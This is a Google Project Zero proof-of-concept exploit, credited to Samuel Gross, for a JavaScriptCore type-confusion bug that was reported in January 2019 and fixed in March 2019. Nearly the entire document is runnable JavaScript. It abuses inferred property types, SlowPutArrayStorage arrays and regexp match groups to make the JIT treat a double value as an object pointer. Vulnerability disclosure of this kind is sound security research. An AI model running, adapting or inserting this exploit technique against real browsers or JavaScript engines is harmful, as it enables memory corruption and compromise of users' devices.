- Report: Jan 2019
- Fix: Mar 2019
- Credit: Samuel Gross, Google Project Zero
// /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js
// The PoC will confuse objX with objY.
// objX will have structure S1, objY structure S2.
let objX = {objProperty: {fetchme: 1234}};
let objY = {doubleProperty: 2130562.5098039214}; // 0x4141414141414141 in memory
// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
function createArrayWithSlowPutArrayStorage() {
let protoWithIndexedAccessors = {};
Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });
// Compile a function that will end up creating an array with SlowPutArrayStorage.
function helper(i) {
// After JIT compilation, this new Array call will construct a normal array (with the
// original Array prototype) with SlowPutArrayStorage due to profiling information from
// previous executions (which all ended up transitioning to SlowPutArrayStorage).
let a = new Array;
if (i > 0) {
// Convert the array to SlowPutArrayStorage by installing a prototype with indexed
// accessors. This object can, however, not be used directly as the prototype is
// different and thus the structure has changed.
Object.setPrototypeOf(a, protoWithIndexedAccessors);
}
return a;
}
for (let i = 1; i < 10000; i++) {
helper(i);
}
return helper(0);
}
// Helper object using inferred types.
let obj = {};
obj.inlineProperty1 = 1337;
obj.inlineProperty2 = 1338;
obj.oolProperty1 = objX; // Inferred type of 'oolProperty1' will be ObjectWithStructure S1.
// 'obj' now has structure S3.
// Create the same structure (S4) that will later (when having a bad time) be used as
// regExpMatchesArrayWithGroupsStructure. Since property values are assigned during the initial
// structure transition, inferred types for all property values are created.
let a = createArrayWithSlowPutArrayStorage(); // a has Structure S4,
a.index = 42; // S5,
a.input = "foobar"; // S6,
a.groups = obj; // and S7.
// The inferred type for the .groups property will be ObjectWithStructure S3.
// Inferred type for this property will be ObjectWithStructure S7.
global = a;
// Must assign twice so the JIT uses the inferred type instead of assuming that
// the property is constant and installing a replacement watchpoint to
// deoptimize whenever the property is replaced.
global = a;
// Have a bad time. This will attempt to recreate the global regExpMatchesArrayWithGroupsStructure
// (to use an array with SlowPutArrayStorage), but since the same structure transitions were
// performed before, it will actually reuse the existing structure S7. As no property values are
// assigned, all inferred types for structure S7 will still be valid.
Object.defineProperty(Array.prototype, 1337, { get() { return 1337; } });
// Compile a function that uses the inferred value of 'global' to omit type checks.
function hax() {
return global.groups.oolProperty1.objProperty.fetchme;
}
for (let i = 0; i < 10000; i++) {
hax(i);
}
// Create an ObjectWithStructure S7 which violates the inferred type of .groups (and potentially
// other properties) due to createRegExpMatchesArray using putDirect.
let match = "hax".match(/(?<oolProperty1>hax)/);
// match.groups has structure S8 and so assignments to it won't invalidate inferred types of S7.
match.groups.oolProperty1 = objY; // This property overlaps with oolProperty1 of structure S3.
// The inferred type for 'global' is ObjectWithStructure S4 so watchpoints will not be fired.
global = match;
// Trigger the type confusion.
hax();